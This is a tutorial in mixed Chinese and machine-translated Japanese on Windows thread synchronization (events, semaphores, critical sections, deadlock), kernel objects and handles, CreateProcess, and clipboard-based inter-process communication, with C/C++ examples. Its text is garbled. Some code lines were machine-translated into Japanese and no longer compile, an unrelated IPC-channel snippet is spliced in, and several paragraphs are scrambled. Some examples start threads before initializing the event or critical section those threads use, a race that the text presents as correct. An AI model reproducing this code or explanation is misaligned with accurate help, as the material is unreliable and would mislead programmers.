  1.  创建事件对象
    调用CreateEvent函数创建或打开一个命名的或匿名的事件对象。
    
  2.  设置事件对象状态
    调用SetEvent函数把指定的事件对象设置为有信号状态。
    
  3.  重置事件对象状态
    调用ResetEvent函数把指定的事件对象设置为无信号状态。
    
  4.  请求事件对象
     线程通过调用WaitForSingleObject函数请求事件对象。
    
  • イベントオブジェクトを作成する関数のプロトタイプは次のとおりです。
HANDLE CreateEvent(   
LPSECURITY_ATTRIBUTES lpEventAttributes, // 安全属性   
BOOL bManualReset,   // 复位方式  TRUE 必须用ResetEvent手动复原  FALSE 自动还原为无信号状态
BOOL bInitialState,   // 初始状态   TRUE 初始状态为有信号状态  FALSE 无信号状态
LPCTSTR lpName     //对象名称  NULL  无名的事件对象 
);

駅の発券システム:

例: グローバル文字列を入力します: ABCD AAAADDD は、
マルチスレッドを使用して、文字 A が何個あるかを判断します。これは、スレッド同期を通じて実装する必要があります。
イベント オブジェクトは次を実装します。



#if 1
#include <stdio.h>
#include <windows.h>
#include <process.h> 
#define STR_LEN		100

unsigned WINAPI NumberOfA(void* arg);
unsigned WINAPI NumberOfOthers(void* arg);

static char str[STR_LEN];
static HANDLE hEvent;

int main(int argc, char* argv[])
{
    
    
	HANDLE  hThread1, hThread2;
	fputs("Input string: ", stdout);
	fgets(str, STR_LEN, stdin);
	//NUll 默认的安全符   手动   FALSE 初始状态为无信号状态
	hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
	hThread1 = (HANDLE)_beginthreadex(NULL, 0, NumberOfA, NULL, 0, NULL);
	hThread2 = (HANDLE)_beginthreadex(NULL, 0, NumberOfOthers, NULL, 0, NULL);
	WaitForSingleObject(hThread1, INFINITE);
	WaitForSingleObject(hThread2, INFINITE);
	//直到2个线程执行完之后,再把事件设置为无信号状态
	ResetEvent(hEvent);
	CloseHandle(hEvent);
	system("pause");

	return 0;
}

unsigned WINAPI NumberOfA(void* arg)
{
    
    
	int i, cnt = 0;
	//再没有执行fputs("Input string: ", stdout);
	//fgets(str, STR_LEN, stdin);SetEvent(hEvent);之前,卡在
	//WaitForSingleObject
	WaitForSingleObject(hEvent, INFINITE);
	for (i = 0; str[i] != 0; i++)
	{
    
    
		if (str[i] == 'A')
			cnt++;
	}
	printf("Num of A: %d \n", cnt);
	return 0;
}
unsigned WINAPI NumberOfOthers(void* arg)
{
    
    
	int i, cnt = 0;
	//再没有执行fputs("Input string: ", stdout);
	//fgets(str, STR_LEN, stdin);SetEvent(hEvent);之前,卡在
	//WaitForSingleObject
//	WaitForSingleObject(hEvent, INFINITE);
	for (i = 0; str[i] != 0; i++)
	{
    
    
		if (str[i] != 'A')
			cnt++;
	}
	printf("Num of others: %d \n", cnt - 1);
	//把事件对象设置为有信号状态
	SetEvent(hEvent);
	return 0;
}
#endif


// 火车站卖票   A工人     B工人

#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 100;
HANDLE g_hEvent;

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		WaitForSingleObject(g_hEvent, INFINITE);
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
		}
		else
		{
    
    
			break;
		}
		SetEvent(g_hEvent);
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		WaitForSingleObject(g_hEvent, INFINITE);
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
		}
		else
		{
    
    
			break;
		}
		SetEvent(g_hEvent);
	}
	return 0;//0  内核对象被销毁
}

int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0 ,SellTicketA, NULL, 0, 0);// 2

	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, 0);
	CloseHandle(hThreadA);  //1
	CloseHandle(hThreadB);
	g_hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	SetEvent(g_hEvent);
	Sleep(4000);
	CloseHandle(g_hEvent);
	system("pause");
	return 0;


6.7 Windows カーネルのオブジェクトとハンドルについての深い理解

  1. カーネルオブジェクト
  • Windows の各カーネル オブジェクトは単なるメモリ ブロックであり、オペレーティング システム カーネルによって割り当てられ、オペレーティング システム カーネルによってのみアクセスできます。アプリケーションはメモリ内でこれらのデータ構造を見つけたり、その内容を直接変更したりすることはできません。このメモリ ブロックは、そのメンバーがオブジェクトに関連する情報を保持するデータ構造です。いくつかのメンバー (セキュリティ記述子と使用回数) はすべてのカーネル オブジェクトに共通ですが、ほとんどのメンバーはさまざまな種類のオブジェクトに固有です。
  • CreateFile
    : ファイル ファイル オブジェクト、イベント イベント オブジェクト、プロセス プロセス、スレッド スレッド、iocompletionport 完了ポート (Windows サーバー)、メールスロット メールスロット、ミューテックス ミューテックス、レジストリなど。
  1. カーネルオブジェクトの使用回数と有効期間
    カーネル オブジェクトの所有者は、プロセスではなくオペレーティング システムのカーネルです。つまり、プロセスが終了しても、カーネル オブジェクトは必ずしも破棄されるわけではありません。オペレーティング システムのカーネルは、カーネル オブジェクトの使用数を通じて、特定のカーネル オブジェクトを現在使用しているプロセスの数を認識します。カーネル オブジェクトが初めて作成されるとき、使用数は 1 です。別のプロセスがカーネル オブジェクトへのアクセスを取得すると、使用カウントが 1 つ増加します。カーネル オブジェクトの使用カウントが 0 まで減少すると、オペレーティング システム カーネルはカーネル オブジェクトを破棄します。つまり、カーネル オブジェクトは現在のプロセスで作成されますが、現在のプロセスが終了すると、カーネル オブジェクトは別のプロセスによってアクセスされる可能性があります。現時点では、プロセスの終了により、現在のプロセスが参照するすべてのカーネル オブジェクトの使用数が減少するだけで、他のプロセスによるカーネル オブジェクトの使用数は減少しません (カーネル オブジェクトが現在のプロセスによって作成された場合でも)。この場合、カーネル オブジェクトの使用数は 0 に減らされず、オペレーティング システムのカーネルはカーネル オブジェクトを破棄しません。
    例は以下のとおりです。
    ここに画像の説明を挿入します
    (1) プロセス 1 は終了するが、プロセス 2 が終了しない場合。カーネル オブジェクト A と B の参照カウントは 0 に減らされ、オペレーティング システム カーネルによって破棄されます。プロセス 1 は自身の参照カウントを C と D に減らすだけで、プロセス 2 の C と D の参照カウントには影響しません。今回はCとDの参照カウントは0ではないので破棄されません。
    (2) プロセス2は終了するが、プロセス1が終了しない場合。プロセス 2 は、自身の参照カウントを C と D に減らしますが、プロセス 1 には影響しません。そのため、A、B、C、D は破棄されません (3) ABCD が使用されない限り、プロセス 1 と 2 の両方が終了して
    も他のプロセスによって、カーネル オブジェクト A、B、C、D の参照カウントはすべて 0 に減らされ、カーネルによって破棄されます (4)
    プロセス 1 と 2 の両方が終了すると、カーネル オブジェクトの参照カウントの 1 つが存在する限り、 A、B、C、D が 0 に減分され、0 に減ったカーネル オブジェクトはカーネルによって破棄されます。
  2. カーネル オブジェクトの操作
    Windows は、カーネル オブジェクトを操作するための一連の関数を提供します。カーネル オブジェクトを作成する関数の呼び出しが成功すると、作成されたカーネル オブジェクトを表すハンドルが返され、プロセス内のすべてのスレッドで使用できます。32 ビット プロセスでは、ハンドルは 32 ビット値であり、64 ビット プロセスでは、ハンドルは 64 ビット値です。カーネル オブジェクトを一意に識別するハンドルを使用して、カーネル操作関数を呼び出してカーネル オブジェクトを操作できます。
  3. カーネル オブジェクトと他の種類のオブジェクト
    Windows プロセスには、カーネル オブジェクトに加えて、ユーザー オブジェクトや GDI オブジェクトに属するウィンドウ、メニュー、フォントなどの他の種類のオブジェクトがあります。カーネル オブジェクトと非カーネル オブジェクトを区別する最も簡単な方法は、オブジェクトを作成する関数を調べることです。カーネル オブジェクトを作成するほとんどすべての関数には、セキュリティ属性を指定できるパラメーターがあります。

知らせ:

  • 1 オブジェクトがカーネル オブジェクトであるかどうかは、通常、このオブジェクトの作成に使用される API のパラメータに PSECURITY_ATTRIBUTES タイプのパラメータが必要かどうかによって判断できます。

  • 2 カーネル オブジェクトは単なるメモリ ブロックです。このメモリはオペレーティング システム カーネルのアドレス空間にあります。データ構造はメモリ ブロックに格納されます (このデータ構造のメンバーは次のとおりです: セキュリティ記述子、使用回数など)。 )。

  • 3 各プロセスにはハンドル テーブルがあり、以下に示すように、このハンドル テーブルはカーネル オブジェクトによってのみ使用されます。
    ここに画像の説明を挿入します

  • 4コール

    • hThread = CreateThread(…, &threadId);
    • CreateThread CreateFile およびカーネル オブジェクトを作成するその他の関数を呼び出した後、
    • これはオペレーティング システムの追加メモリ ブロックに相当し、このメモリ ブロックがカーネル オブジェクトです。
    • カーネル オブジェクトが作成されるのもこのときで、そのデータ構造内の参照カウントは最初は 1 になります (つまり、カーネル オブジェクトが作成される限り、その参照カウントは 1 に初期化されます)。ここで発生します: カーネル オブジェクトが作成され、スレッドを作成した関数がこのオブジェクトを開いた (アクセスした) ため、カーネル オブジェクトの参照カウントが 1 増加し、参照カウントは 2 になりました。
    • API CreateThreadを呼び出すと、カーネルオブジェクトが作成され、参照数が+1されるだけでなく、カーネルオブジェクト+1がオープンされるため、参照数は2になります。
    • CloseHandle(hThread); が呼び出されると、次のような処理が行われます: システムは、hThread を介してハンドル テーブル内のこのハンドルのインデックスを計算し、処理後にそのアイテムを空きアイテムとしてマークし、カーネルの参照カウントをマークします。このとき、このカーネル オブジェクトの参照カウントは 1 になります。それ以降、このスレッド ハンドルは、作成時に生成されたカーネル オブジェクトとは無関係になります。hThread ハンドルを介してカーネル オブジェクトにアクセスすることはできません。
    • カーネル オブジェクトは参照カウントが 0 の場合にのみ破棄され、このときの参照カウントは 1 です。いつ破棄されますか?
    • このスレッドが終了すると、その参照カウントは 1 から 0 に減らされ、カーネル オブジェクトは破棄されます。この時点で、新しい疑問が生じます: スレッド ハンドルを閉じました。これは、スレッド ハンドルがカーネル オブジェクトと何の関係もないことを意味します。では、カーネル オブジェクトをこのスレッドにどのように関連付けることができるでしょうか? 実際には、これはスレッドの作成時に生成されるスレッド ID であり、コードは次のとおりです。
#include <stdio.h>
#include <windows.h>
#include <WinBase.h>


DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
    
    
	printf("I am comming...");
	while (1) {
    
    }
	return 0;
}


int main()
{
    
    
	HANDLE hThread;
	HANDLE headle2;
	DWORD threadId;

	hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, &threadId);
//	CloseHandle(hThread);  //  关闭了线程句柄
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);
	headle2 = OpenThread(THREAD_QUERY_INFORMATION, FALSE, threadId);

	return 0;
}

6.8 スレッド同期 - セマフォ

  • カーネル オブジェクトの状態:
    トリガーされた状態 (シグナル状態)。使用可能なリソースがあることを示します。
    未トリガー状態 (信号なし状態)。使用可能なリソースがないことを示します。

  • 仕組み
    駐車場の運営を例に考えてみましょう。駐車場に駐車スペースが 3 台しかなく、最初は 3 台すべての駐車スペースが空いていたとします。このとき、5台の車が同時に来た場合、門番はそのうち3台の進入を妨げずに車止めを下ろし、残りの車は入り口で待機し、後続の車も入口で待機することになります。入り口。このとき、1台の車が駐車場から出ていき、それを知った門番は、車両遮断機を開けて1台の車を入れ、さらに2台が出れば、さらに2台を入れるというようにしていきました。この駐車システムでは、各車両はスレッドのようなもので、ゲートキーパーはセマフォのようなもので、ゲートキーパーはアクティブにできるスレッドを制限します。屋内にまだ 3 台の駐車スペースがあるとします。しかし、門番がルールを変更して、一度に 2 台の車しか駐車できないように要求すると、最初に 2 台の車が入場し、その後、別の車が駐車できるようになるまで、1 台の車が出発するまで待たなければなりません。ただし、最大 2 台まで駐車できることが保証されている必要があります。セマフォの場合、アクティブなスレッドの数を制限するゲートキーパーのようなものです。
    セマフォの構成
      ① カウンタ:カーネルオブジェクトが使用された回数
      ② 最大リソース数:セマフォが制御できるリソースの最大数を識別(符号付き 32 ビット)
      ③ 現在のリソース数:現在のリソース数を識別利用可能なリソース (符号付き 32 ビット)。つまり、現在開いているリソースの数を示します (残りのリソースの数ではないことに注意してください)。スレッドによって申請できるのは、開いているリソースのみです。ただし、これらのオープン リソースがスレッドによって占有されているとは限りません。たとえば、現在 5 つのリソースがオープンしていて、それらに 3 つのスレッドしか申請していない場合、2 つのリソースを申請できますが、この時点で合計 7 つのスレッドがセマフォを使用したい場合、明らかに 5 つのオープン リソースでは不十分です。この時点で、リソースの最大数に達するまで、さらに 2 つのリソースを開くことができます。

  • セマフォの規則は次のとおりです。
    (1) 現在のリソース カウントが 0 より大きい場合、セマフォはトリガー状態 (シグナル状態) にあり、使用可能なリソースがあることを示します。
    (2) 現在のリソース カウントが 0 に等しい場合、セマフォは非トリガー状態 (信号なし状態) にあり、使用可能なリソースがないことを示します。
    (3) システムは現在のリソース数が負の数になることはありません。
    (4) 現在のリソース数が最大リソース数を超えることはありません。
    ここに画像の説明を挿入します

  • セマフォとミューテックスの違いは、
    複数のスレッドが同じリソースに同時にアクセスできることですが、このリソースに同時にアクセスできるスレッドの最大数を制限する必要があることです。セマフォ オブジェクトがスレッドを同期する方法は、これまでのメソッドとは異なり、シグナルにより、複数のスレッドが共有リソースを同時に使用できるようになります。

  • セマフォの作成
    HANDLE
    WINAPI
    CreateSemaphoreW(
    In_opt LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, // Null セキュリティ属性
    In LONG lInitialCount, // 初期化中に使用可能なリソースの数。0: 未トリガー // 状態 (信号状態なし)、使用可能なリソースがないことを示す

    In LONG lMinimumCount, //処理できるリソースの最大数 3
    In_opt LPCWSTR lpName //NULL セマフォの名前
    );

  • セマフォを増やす
    WINAPI
    ReleaseSemaphore(
    In HANDLE hSemaphore, //セマフォのハンドル
    In LONG lReleaseCount, //lReleaseCount の値をセマフォの現在のリソース カウントに追加します 0-> 1
    Out_opt LPLONG lpPreviousCount //現在のセマフォの元の値リソース数
    ) ;

  • handleCloseHandle を閉じます
    ( Post_ptr_invalid HANDLE hObject
    )。

#include <stdio.h>
#include <windows.h>
#include <process.h>

unsigned WINAPI Read(void* arg);
unsigned WINAPI Accu(void* arg);

static HANDLE semOne;
static HANDLE semTwo;
static int num;

int main(int argc, char* argv[])
{
    
    
	HANDLE hThread1, hThread2;
	semOne = CreateSemaphore(NULL, 0, 1, NULL);
	//semOne 没有可用资源  只能表示0或者1的二进制信号量  无信号
	semTwo = CreateSemaphore(NULL, 1, 1, NULL);
	//semTwo 有可用资源,有信号状态   有信号
	hThread1 = (HANDLE)_beginthreadex(NULL, 0, Read, NULL, 0, NULL);
	hThread2 = (HANDLE)_beginthreadex(NULL, 0, Accu, NULL, 0, NULL);

	WaitForSingleObject(hThread1, INFINITE);
	WaitForSingleObject(hThread2, INFINITE);

	CloseHandle(semOne);
	CloseHandle(semTwo);
	system("pause");
	return 0;
}

unsigned WINAPI Read(void* arg)
{
    
    
	int i;
	for (i = 0; i < 5; i++)
	{
    
    
		fputs("Input num: ", stdout);  //  1   5   11
		printf("begin read\n"); // 3   6   12
		//等待内核对象semTwo的信号,如果有信号,继续执行;如果没有信号,等待
		WaitForSingleObject(semTwo, INFINITE); 
		printf("beginning read\n"); //4  10   16
		scanf("%d", &num);
		ReleaseSemaphore(semOne, 1, NULL);
	}
	return 0;
}
unsigned WINAPI Accu(void* arg)
{
    
    
	int sum = 0, i;
	for (i = 0; i < 5; i++)
	{
    
    
		printf("begin Accu\n");  //2    9   15
		//等待内核对象semOne的信号,如果有信号,继续执行;如果没有信号,等待
		WaitForSingleObject(semOne, INFINITE);
		printf("beginning Accu\n");  //7   13
		sum += num;
		printf("sum = %d \n", sum);  // 8   14
		ReleaseSemaphore(semTwo, 1, NULL);
	}
	printf("Result: %d \n", sum);
	return 0;
}

6.9 スレッドの同期 - クリティカルセクション

クリティカル コード セクション (クリティカル セクションとも呼ばれます) は、ユーザー モードで動作します。これは、コードを実行する前に何らかのリソースに排他的にアクセスする必要がある小さなコード部分を指します。通常、複数のスレッドで同じリソースにアクセスするコード部分がキー コード セグメントとみなされます。

  1.  初始化关键代码段
    调用InitializeCriticalSection函数初始化一个关键代码段。
    
 	InitializeCriticalSection(
    _Out_ LPCRITICAL_SECTION lpCriticalSection
    );
  • この関数には CRITICAL_SECTION 構造体へのポインタのみがあります。InitializeCriticalSection 関数を呼び出す前に、まず CRITICAL_SECTION 構造体タイプのオブジェクトを構築し、次にそのオブジェクトのアドレスを InitializeCriticalSection 関数に渡す必要があります。
  1. 进入关键代码段
    
	VOID
	WINAPI
	EnterCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection
    );
  • EnterCriticalSection 関数を呼び出して、指定されたクリティカル セクション オブジェクトの所有権を取得します。この関数は、指定されたクリティカル セクション オブジェクトの所有権を待ちます。所有権が呼び出しスレッドに与えられた場合、関数は戻ります。そうでない場合、関数は永久に待機するため、スレッドは待機します。
  1. 終了キーコードセグメント
	VOID
	WINAPI
	LeaveCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection);
  • スレッドは、クリティカル セクションによって保護されているリソースの使用を終了した後、LeaveCriticalSection 関数を呼び出して、指定されたクリティカル セクション オブジェクトの所有権を解放する必要があります。その後、クリティカル セクション オブジェクトの所有権を取得したい他のスレッドが所有権を取得できるため、クリティカル コード セクションに入り、保護されたリソースにアクセスできます。
  1. 删除临界区
    
	WINBASEAPI
	VOID
	WINAPI
	DeleteCriticalSection(
    _Inout_ LPCRITICAL_SECTION lpCriticalSection
    );
  • クリティカル セクションが不要になった場合は、DeleteCriticalSection 関数を呼び出してオブジェクトを解放できます。この関数は、どのスレッドにも所有されていないクリティカル セクション オブジェクトのすべてのリソースを解放します。

BOOL COneIPCChannel::InitIPCChannel(CWnd * pVideoWnd)
{ m_pVideoBuffer = new CVideoRecieveBuffer; m_pVideoWnd = pVideoWnd; m_bPlaying = FALSE; m_isTFPlay=FALSE; InitializeCriticalSection(&m_cs); m_hWaitEvent = CreateEvent(NULL,FALSE,FALSE,NULL);





return TRUE;

}

BOOL COneIPCChannel::InitIPCChannelREMOTE(CWnd * pVideoWnd,int *Session)
{ m_Session=セッション; m_pVideoWnd = pVideoWnd; m_bPlaying = FALSE; m_isTFPlay = FALSE; m_pVideoBuffer = 新しい CVideoRecieveBuffer; InitializeCriticalSection(&m_cs); m_hWaitEvent = CreateEvent(NULL,FALSE,FALSE,NULL); TRUEを返します。}卖票系统









#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 5000;
CRITICAL_SECTION g_cs;

// A窗口     B窗口

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_cs);//进入临界区
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
			LeaveCriticalSection(&g_cs);//离开临界区
		}
		else
		{
    
    
			LeaveCriticalSection(&g_cs);//离开临界区
			break;
		}
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_cs);//进入临界区
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
			LeaveCriticalSection(&g_cs);//离开临界区
		}
		else
		{
    
    
			LeaveCriticalSection(&g_cs);//离开临界区
			break;
		}
	}
	return 0;
}


int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0, SellTicketA, NULL, 0, NULL);  //2
	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, NULL);  //2
	CloseHandle(hThreadA); //1
	CloseHandle(hThreadB); //1
	InitializeCriticalSection(&g_cs); //初始化关键代码段
	Sleep(40000);
	DeleteCriticalSection(&g_cs);//删除临界区
	system("pause");

	return 0;
}

6.10 スレッドのデッドロック

  • デッドロックとは、複数のスレッドがリソースを奪い合うことで発生するデッドロック(待ち状態)のことで、外部からの力がなければプロセスは先に進むことができなくなります。
#include <stdio.h>
#include <windows.h>
#include <process.h> 


int iTickets = 5000;
CRITICAL_SECTION g_csA;
CRITICAL_SECTION g_csB;

// A窗口     B窗口

DWORD WINAPI SellTicketA(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_csA);//进入临界区A
		Sleep(1);
		EnterCriticalSection(&g_csB);//进入临界区B
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("A remain %d\n", iTickets);
			LeaveCriticalSection(&g_csB);//离开临界区B
			LeaveCriticalSection(&g_csA);//离开临界区A
		}
		else
		{
    
    
			LeaveCriticalSection(&g_csB);//离开临界区B
			LeaveCriticalSection(&g_csA);//离开临界区A
			break;
		}
	}
	return 0;
}

DWORD WINAPI SellTicketB(void* lpParam)
{
    
    
	while (1)
	{
    
    
		EnterCriticalSection(&g_csB);//进入临界区B
		Sleep(1);
		EnterCriticalSection(&g_csA);//进入临界区A
		if (iTickets > 0)
		{
    
    
			Sleep(1);
			iTickets--;
			printf("B remain %d\n", iTickets);
			LeaveCriticalSection(&g_csA);//离开临界区A
			LeaveCriticalSection(&g_csB);//离开临界区B
		}
		else
		{
    
    
			LeaveCriticalSection(&g_csA);//离开临界区A
			LeaveCriticalSection(&g_csB);//离开临界区B
			break;
		}
	}
	return 0;
}


int main()
{
    
    
	HANDLE hThreadA, hThreadB;
	hThreadA = CreateThread(NULL, 0, SellTicketA, NULL, 0, NULL);  //2
	hThreadB = CreateThread(NULL, 0, SellTicketB, NULL, 0, NULL);  //2
	CloseHandle(hThreadA); //1
	CloseHandle(hThreadB); //1
	InitializeCriticalSection(&g_csA); //初始化关键代码段A
	InitializeCriticalSection(&g_csB); //初始化关键代码段B
	Sleep(40000);
	DeleteCriticalSection(&g_csA);//删除临界区
	DeleteCriticalSection(&g_csB);//删除临界区
	system("pause");

	return 0;
}

6.11 さまざまなスレッド同期の比較概要

  • Windows スレッドを同期するには、主にミューテックス オブジェクト、イベント オブジェクト、クリティカル セクションの 4 つの方法があります。信号
  • ●ミューテックスオブジェクト
    、イベント、セマフォはすべてカーネルオブジェクトに属する スレッド同期にカーネルオブジェクトを使用すると速度は遅くなりますが、相互排除カーネルオブジェクトを使用するオブジェクトやイベント オブジェクトなど、複数のプロセスのスレッド間で同期できます。
    ● キーコードセクションはユーザーモードで動作し、同期速度が速くなりますが、キーコードセクションを使用すると、キーコードセクションへの入力待ちの間はタイムアウト値を設定できないため、デッドロック状態になりやすくなります。
    ユーザーレベル: キーコードセグメント、このプロセス内のみに存在可能
    カーネルレベル: ミューテックス/イベント/セマフォ、複数のプロセスに存在可能
  • 通常、マルチスレッド プログラムを作成し、スレッド同期を達成する必要がある場合は、クリティカル コード セクションが優先されます。その使用方法は比較的簡単であるため、MFC プログラムで使用する場合は、InitializeCriticalSection 関数をコンストラクター Init で呼び出すことができます。クラス内 デストラクターで DeleteCriticalSection 関数を呼び出し、保護する必要があるコードの前で EnterCriticalSection 関数を呼び出し、保護する必要があるリソースにアクセスした後で LeaveCriticalSection 関数を呼び出します。キー コード セクションは非常に使いやすいことがわかりますが、注意すべき点がいくつかあります。 ●
    A プログラムで EnterCriticalSection を呼び出した後、それに応じて LeaveCriticalSection 関数を呼び出す必要があります。そうしないと、他のスレッドがクリティカル セクションの所有権を待機します。セクション オブジェクトは実行できなくなります。
    ● B キーコードセクションにアクセスする際に複数のクリティカルセクションオブジェクトを使用する場合は、スレッドデッドロックの防止に注意する必要があります。さらに、複数のプロセスのスレッド間の同期を実現する必要がある場合は、ミューテックス オブジェクトとイベント オブジェクトまたはセマフォを使用できます。

ここに画像の説明を挿入します

6.12スレッドセーフとは何ですか?

コードが複数のスレッドで実行されたときと単一スレッドで実行されたときに常にまったく同じ結果を生成する場合、そのコードはスレッドセーフです。
チェン・シュオ「ムドゥオ」

7つの工程

7.1 基本概念 - プロセスとサブプロセス

  • プログラム、プロセス: 実行中のプログラム
    ● A: プログラムは、ファイルの形式でディスクに保存されるコンピューター命令の集合であり、プロセスは通常、実行中のプログラムのインスタンスとして定義されます。自身のアドレス 空間内の実行活動 プログラムは複数のプロセスに対応可能 プロセスは
    リソースの適用、高さ、独立した動作の単位であるため、システム内の実行中のリソースを使用し、プログラムはシステムに適用できません独立した実行単位として、システムの動作リソースを占有しない
    ● プロセスの構成: <1>プロセスを
    管理するためにオペレーティング システムによって使用されるカーネル オブジェクト。
    システムはプロセスに関する統計情報を保存します カーネル オブジェクトはオペレーティング システムです 内部的に割り当てられたメモリ ブロックは、そのメンバーがオブジェクトに関するさまざまな情報を維持する役割を担うデータ構造です <2> アドレス空間 コードとデータが含ま

    ますすべての実行可能モジュールまたは DLL モジュールのすべての実行可能モジュールまたは DLL モジュール。さらに、スレッド スタックやヒープ割り当てスペースなどの動的メモリ割り当てスペースも含まれます。 ● B
    : プロセスは何も実行せず、単なる純粋なコンテナです。操作を完了するには、プロセスは何も実行しません。環境内にコンテナーがあります。純粋に実行されるこのスレッドは、プロセスのアドレス空間に含まれるコードの実行を担当します。つまり、実際にコードの実行を完了するのはスレッドであり、プロセスは単なる純粋なコンテナーです。またはスレッドの実行環境。
  • 子プロセス: まだプロセスです
    。子プロセスは、別のプロセス (対応して親プロセスと呼ばれます) によって作成されたプロセスを指します。
    単一タスクの同期メカニズム。スレッド、子プロセス。
    アドレス空間は保護する必要があります。
    子プロセスのスレッドは、親プロセスの終了後にコードを実行できますが、親プロセスの実行中にコードを実行することもできます。

7.2 プロセスの作成方法

プロセスのコマンドライン:
win + R を押します。

7.2.1 CreateProcess関数

CreateProcessW(
    _In_opt_ LPCWSTR lpApplicationName,// 该字符串可以指定要执行的模块的完整路径和文件名
_Inout_opt_ LPWSTR lpCommandLine,  //命令行

_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
//该 结构确定子进程是否可以继承返回到新进程对象的句柄。如果//lpProcessAttributes为NULL,则不能继承该句柄
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
//该 结构确定子进程是否可以继承返回到新线程对象的句柄。如果//lpThreadAttributes为NULL,则不能继承该句柄
_In_ BOOL bInheritHandles,
//如果此参数为TRUE,则新进程将继承调用进程中的每个可继承句柄。如果参//数为FALSE,则不会继承句柄。请注意,继承的句柄与原始句柄具有相同的值和//访问权限
    _In_ DWORD dwCreationFlags,// 控制优先级类别和流程创建的标志 CREATE_NEW_CONSOLE
_In_opt_ LPVOID lpEnvironment,// 指向新进程的环境块的指针。如果此参数为//NULL,则新进程将使用调用进程的环境
//
    _In_opt_ LPCWSTR lpCurrentDirectory,// 进程当前目录的完整路径
    _In_ LPSTARTUPINFOW lpStartupInfo, //设置扩展属性
    _Out_ LPPROCESS_INFORMATION lpProcessInformation // 该 结构接收有关新进程的标识//信息
    );

Windows のドキュメントを確認し
、ソフトウェアを推奨します。
オンライン:
Microsoft のヘルプ ドキュメント URL: https://docs.microsoft.com/en-us/
Shift + マウスの右ボタン

//创建一个用谷歌浏览器打开百度
#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void RunExe()
{
    
    
	STARTUPINFO strStartupInfo;
	memset(&strStartupInfo, 0, sizeof(strStartupInfo));
	strStartupInfo.cb = sizeof(strStartupInfo);

	PROCESS_INFORMATION szProcessInformation;
	memset(&szProcessInformation, 0, sizeof(szProcessInformation));

	TCHAR szCommandLine[] =_T("\"D:\\Program Files (x86)\\ChromeCore\\ChromeCore.exe\" http://www.baidu.com/");

	int iRet = CreateProcess(
				NULL,
				szCommandLine,
				NULL,
				NULL,
				false,
				CREATE_NEW_CONSOLE,
				NULL,
				NULL,
				&strStartupInfo,
				&szProcessInformation
			);
	if (iRet)
	{
    
    
		//创建成功
		printf_s("Create Success iRet = %d\n", iRet);
		WaitForSingleObject(szProcessInformation.hProcess, 3000);
		CloseHandle(szProcessInformation.hProcess);
		CloseHandle(szProcessInformation.hThread);
		szProcessInformation.dwProcessId = 0;
		szProcessInformation.dwThreadId = 0;
		szProcessInformation.hThread = NULL;
		szProcessInformation.hProcess = NULL;
	}
	else
	{
    
    
		printf_s("Create Success iRet = %d\n", iRet);
		printf_s("errorcode = %d\n", GetLastError());

	}
}



int main()
{
    
    
	printf("This is Process\n");
	RunExe();
	system("pause");
	return 0;
}

7.3 プロセス間通信方式の概要

  • 1ソケットプログラミングIPおよびポートサーバークライアント
  • 2 Clipboard クリップボードのカーネルオブジェクト
  • 3Mailslot メールスロットのカーネル オブジェクト
  • 4 匿名パイプ (名前のないパイプ)
  • 5つの名前付きパイプ
  • 6Copy_data findwindows wm_copydata 多くの本にはメッセージがありません Sendmessage

7.4 プロセス間通信方式 - クリップボード

システムによって管理されるメモリ領域。

void CClipboardDlg::OnBnClickedSendBtn()
{
    
    
	// 1 打开剪切板
	if (OpenClipboard())
	{
    
    
		//2 清空剪切板
		EmptyClipboard();
		char* szSendBuf;
		//3 获取编辑框的内容
		CStringW strSendW;
		GetDlgItemText(IDC_EDIT_SEND, strSendW);

		CStringA strSend = (CStringA)strSendW;
		
		//4 分配一个内存对象,内存对象的句柄就是hClip
		HANDLE hClip = GlobalAlloc(GMEM_MOVEABLE, strSend.GetLength() + 1);
		//5 将剪切板句柄加锁
		szSendBuf = (char*)GlobalLock(hClip);
		strcpy(szSendBuf, strSend);
		TRACE("szSendBuf = %s", szSendBuf);
		GlobalUnlock(hClip);
		//6 将数据放入剪切板
		SetClipboardData(CF_TEXT, hClip);
		//关闭剪切板
		CloseClipboard();
	}
}


void CClipboardDlg::OnBnClickedRecvBtn()
{
    
    

	if (OpenClipboard())
	{
    
    
		//确认剪切板是否可用
		if (IsClipboardFormatAvailable(CF_TEXT))
		{
    
    
			HANDLE hClip;
			char* pBuf;
			//向剪切板要数据
			hClip = GetClipboardData(CF_TEXT);
			pBuf = (char*)GlobalLock(hClip);
			USES_CONVERSION;
